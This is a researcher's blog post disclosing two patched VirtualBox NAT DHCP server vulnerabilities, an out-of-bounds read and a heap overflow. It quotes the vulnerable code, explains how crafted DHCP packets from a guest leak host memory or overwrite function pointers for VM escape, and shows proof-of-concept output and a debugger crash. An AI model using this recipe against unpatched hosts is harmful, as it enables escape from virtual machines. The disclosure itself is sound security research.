Wednesday, November 21, 2018

VirtualBox NAT DHCP/BOOTP server vulnerabilities

Continuing from my previous blog posts, this is another old set of VirtualBox bugs which can lead to VM escape. VirtualBox guest in NAT mode (default networking configuration) enables a per VM DHCP server which assigns IP address to guest.
renorobert@ubuntuguest:~$ ifconfig enp0s3
enp0s3    Link encap:Ethernet  HWaddr 08:00:27:b8:b7:4c  
          inet addr:  Bcast:  Mask:
          inet6 addr: fe80::a00:27ff:feb8:b74c/64 Scope:Link
          RX packets:119 errors:0 dropped:0 overruns:0 frame:0
          TX packets:94 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:11737 (11.7 KB)  TX bytes:12157 (12.1 KB)
The emulated DHCP server runs in IP address Packets sent to this DHCP server gets parsed by host worker process
renorobert@ubuntuguest:~$ sudo nmap -sU -p 68
. . .
68/udp open|filtered dhcpc
MAC Address: 52:54:00:12:35:03 (QEMU virtual NIC)
Oracle fixed 2 of my bugs CVE-2016-5610 and CVE-2016-5611 during Oracle Critical Patch Update - October 2016. The bug affects VirtualBox versions prior to 5.0.28 and 5.1.8 in code src/Vbox/Devices/Network/slirp/bootp.c

DHCP packet is defined in src/Vbox/Devices/Network/slirp/bootp.h as below:
#define DHCP_OPT_LEN            312

/* RFC 2131 */
struct bootp_t
    struct ip      ip;                          /**< header: IP header */
    struct udphdr  udp;                         /**< header: UDP header */
    uint8_t        bp_op;                       /**< opcode (BOOTP_REQUEST, BOOTP_REPLY) */
    uint8_t        bp_htype;                    /**< hardware type */
    uint8_t        bp_hlen;                     /**< hardware address length */
    uint8_t        bp_hops;                     /**< hop count */
    uint32_t       bp_xid;                      /**< transaction ID */
    uint16_t       bp_secs;                     /**< numnber of seconds */
    uint16_t       bp_flags;                    /**< flags (DHCP_FLAGS_B) */
    struct in_addr bp_ciaddr;                   /**< client IP address */
    struct in_addr bp_yiaddr;                   /**< your IP address */
    struct in_addr bp_siaddr;                   /**< server IP address */
    struct in_addr bp_giaddr;                   /**< gateway IP address */
    uint8_t        bp_hwaddr[16];               /** client hardware address */
    uint8_t        bp_sname[64];                /** server host name */
    uint8_t        bp_file[128];                /** boot filename */
    uint8_t        bp_vend[DHCP_OPT_LEN];       /**< vendor specific info */
The DHCP server maintains an array of BOOTPClient structure (bootp.c), to keep track of all assigned IP addresses.
/** Entry in the table of known DHCP clients. */
typedef struct
    uint32_t xid;
    bool allocated;
    uint8_t macaddr[6];
    struct in_addr addr;
    int number;
} BOOTPClient;

/** Number of DHCP clients supported by NAT. */
#define NB_ADDR     16
The array is initialized during VM initialization using bootp_dhcp_init()
int bootp_dhcp_init(PNATState pData)
    pData->pbootp_clients = RTMemAllocZ(sizeof(BOOTPClient) * NB_ADDR);
    if (!pData->pbootp_clients)
        return VERR_NO_MEMORY;

    return VINF_SUCCESS;
CVE-2016-5611 - Out-of-bounds read vulnerability in dhcp_find_option
static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag)
    uint8_t *q = vend;
    uint8_t len;
    . . .
    while(*q != RFC1533_END)          // expects  END tag in an untrusted input 
        if (*q == RFC1533_PAD)
            q++;   // incremented without validation 
        if (*q == tag)
            return q;   // returns pointer if tag found
        len = *q;    
        q += 1 + len;   // length and pointer not validated
    return NULL;
dhcp_find_option() parses the guest provided bp_vend field in DHCP packet. However, lack of proper validation could return a pointer outside the DHCP packet buffer or crash the VM if the while loop never terminates until an unmapped address is accessed. One interesting code path to trigger info leak using this bug is by DHCP decline packets.
bootp.c:65:static uint8_t *dhcp_find_option(uint8_t *vend, uint8_t tag)
bootp.c:412:    req_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
bootp.c:413:    server_ip = dhcp_find_option(&bp->bp_vend[0], RFC2132_SRV_ID);
bootp.c:701:    pu8RawDhcpObject = dhcp_find_option(bp->bp_vend, RFC2132_MSG_TYPE);
bootp.c:726:        parameter_list = dhcp_find_option(&bp->bp_vend[0], RFC2132_PARAM_LIST);
bootp.c:773:            pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
static void dhcp_decode(PNATState pData, struct bootp_t *bp, const uint8_t *buf, int size)
. . .
        case DHCPDECLINE:
            /* note: pu8RawDhcpObject doesn't point to DHCP header, now it's expected it points
             * to Dhcp Option RFC2132_REQ_ADDR
            pu8RawDhcpObject = dhcp_find_option(&bp->bp_vend[0], RFC2132_REQ_ADDR);
 . . .
            req_ip.s_addr = *(uint32_t *)(pu8RawDhcpObject + 2);
            rc = bootp_cache_lookup_ether_by_ip(pData, req_ip.s_addr, NULL);
            if (RT_FAILURE(rc))
                . . .
                bc->addr.s_addr = req_ip.s_addr;
                slirp_arp_who_has(pData, bc->addr.s_addr);
                LogRel(("NAT: %RTnaipv4 has been already registered\n", req_ip));
            /* no response required */
. . .
A DHCPDECLINE message is sent by a client suggesting the provided IP address is already in use. This IP address is part of the bp_vend field. The server calls dhcp_find_option() to get a pointer to the IP address within bp_vend field. Here a pointer outside the DHCP buffer can be returned, pointing to some junk data as IP address.

The server first checks if the IP address is already in assigned list by calling bootp_cache_lookup_ether_by_ip(). If not, it further invokes slirp_arp_who_has() to generated an ARP request with bytes read outside DHCP buffer as IP address. This request will be received by the guest since its a broadcast packet leaking some bytes.

To trigger the issue, send a DHCPDECLINE packet with bp_vend filled with RFC1533_PAD. If there is no crash, an ARP packet will be triggered like below:
renorobert@guest:~$ sudo tcpdump -vv -i eth0 arp
[sudo] password for renorobert:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15:51:34.557995 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has (Broadcast) tell, length 46 are the leaked host process bytes. Link to proof-of-concept code can be found at the end of blog post.

CVE-2016-5610 – Heap overflow in dhcp_decode_request()
static int dhcp_decode_request(PNATState pData, struct bootp_t *bp, struct mbuf *m)
. . .
    /*?? renewing ??*/
    switch (dhcp_stat)
        case RENEWING:
 . . .
               Assert((bp->bp_hlen == ETH_ALEN));
               memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
               bc->addr.s_addr = bp->bp_ciaddr.s_addr;

        case INIT_REBOOT:
 . . .
            Assert((bp->bp_hlen == ETH_ALEN));
            memcpy(bc->macaddr, bp->bp_hwaddr, bp->bp_hlen);
            bc->addr.s_addr = ui32;
. . .
When parsing DHCPREQUEST packets, the bp->bp_hlen field is not validated. The assert statement Assert((bp->bp_hlen == ETH_ALEN)) is compiled out of release builds, leading to heap buffer overflow when copying bp_hwaddr from untrusted DHCP packet to the macaddr field in BOOTPClient structure.

bp_hlen is only a byte, hence the maximum value can be 255. However, size of BOOTPClient structure array is greater than 300 bytes. Overflowing within this array is not very interesting as there is no critical data to corrupt. In order to make this overflow interesting, we have to reach to the end of BOOTPClient structure array (pbootp_clients).

pbootp_clients array can store information about 16 client requests [0...15]. The first element is already used during VM initialization with the guest IP address. To advance further into the array, the guest can send another 14 DHCPREQUEST packets with unique information. When handling the 15th DHCPREQUEST packet trigger the overflow by setting bp_hlen to maximum value.

Since pbootp_clients is allocated early during the VM initialization process and overflow is limited to a max of 255 bytes, the adjacent buffer needs to be something interesting. When testing VirtualBox 5.0.26 in Ubuntu 16.04, the adjacent buffer was a uma_zone structure defined in src/Vbox/Devices/Network/slirp/zone.h
# define ZONE_MAGIC 0xdead0002
struct uma_zone
    uint32_t magic;
    PNATState pData; /* to minimize changes in the rest of UMA emulation code */
    RTCRITSECT csZone;
    const char *name;
    size_t size; /* item size */
    ctor_t pfCtor;
    dtor_t pfDtor;
    zinit_t pfInit;
    zfini_t pfFini;
    uma_alloc_t pfAlloc;
    uma_free_t pfFree;
    int max_items;
    int cur_items;
    LIST_HEAD(RT_NOTHING, item) used_items;
    LIST_HEAD(RT_NOTHING, item) free_items;
    uma_zone_t master_zone;
    void *area;
    /** Needs call pfnXmitPending when memory becomes available if @c true.
     * @remarks Only applies to the master zone (master_zone == NULL) */
    bool fDoXmitPending;
This structure gets used in functions defined in src/Vbox/Devices/Network/slirp/misc.c. Corrupting pfCtor, pfDtor, pfInit, pfFini, pfAlloc or pfFree gives RIP control in NAT thread or the per vCPU EMT thread.

$ sudo ./poc enp0s3
[sudo] password for renorobert: 
poc: [+] Using interface enp0s3...
poc: [+] Sending DHCP requests...
poc: [+] Current IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Requesting IP address :
poc: [+] Overflowing bootp_clients into uma_zone structure…
gdb-peda$ c

Thread 11 "EMT" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fd20e4af700 (LWP 27148)]

RAX: 0xfffffe95 
RBX: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
RCX: 0x0 
RDX: 0x0 
RSI: 0x42424242 ('BBBB')
RDI: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
RBP: 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)
RSP: 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0 
RIP: 0x7fd1df22308e (call   QWORD PTR [rbx+0x70])
R8 : 0x0 
R9 : 0x0 
R10: 0x7fd20d529230 --> 0x7fd1df1e5be0 (push   rbp)
R11: 0x0 
R12: 0x7fd1f0852080 --> 0x800 
R13: 0x7fd20e4aeb90 --> 0x100000002 
R14: 0x7fd1f05ea340 ('B' , "\b")
R15: 0x7fd1f05e6f30 --> 0x7fd1df21c5a0 (push   rbp)
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
   0x7fd1df223086: xor    edx,edx
   0x7fd1df223088: mov    esi,DWORD PTR [rbx+0x48]
   0x7fd1df22308b: mov    rdi,rbx
=> 0x7fd1df22308e: call   QWORD PTR [rbx+0x70]
   0x7fd1df223091: test   rax,rax
   0x7fd1df223094: mov    r12,rax
   0x7fd1df223097: je     0x7fd1df2230b5
   0x7fd1df223099: mov    rax,QWORD PTR [rbx+0x50]
Guessed arguments:
arg[0]: 0x7fd1f05ea330 ("CCCCCCCC", 'B' , "\b")
arg[1]: 0x42424242 ('BBBB')
arg[2]: 0x0 
arg[3]: 0x0 
0000| 0x7fd20e4aeb50 --> 0x7fd1f05e7160 --> 0x0 
0008| 0x7fd20e4aeb58 --> 0x7fd1f0852080 --> 0x800 
0016| 0x7fd20e4aeb60 --> 0x7fd1f0852088 --> 0x7fd1dd262f88 --> 0x8ffffffffffff 
0024| 0x7fd20e4aeb68 --> 0x11a 
0032| 0x7fd20e4aeb70 --> 0x7fd20e4aebd0 --> 0x7fd20e4aec10 --> 0x7fd20e4aecd0 --> 0x7fd20e4aece0 --> 0x7fd20e4aed40 (--> ...)
0040| 0x7fd20e4aeb78 --> 0x7fd1df22339f (test   rax,rax)
0048| 0x7fd20e4aeb80 --> 0x7fd20e4aebb0 --> 0x0 
0056| 0x7fd20e4aeb88 --> 0x7fd1f0000020 --> 0x200000000 
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fd1df22308e in ?? () from /usr/lib/virtualbox/

gdb-peda$ x/gx $rbx+0x70
0x7fd1f05ea3a0: 0xdeadbeef00000000

The proof of concept code for both the bugs can be found at virtualbox-nat-dhcp-bugs

No comments :

Post a Comment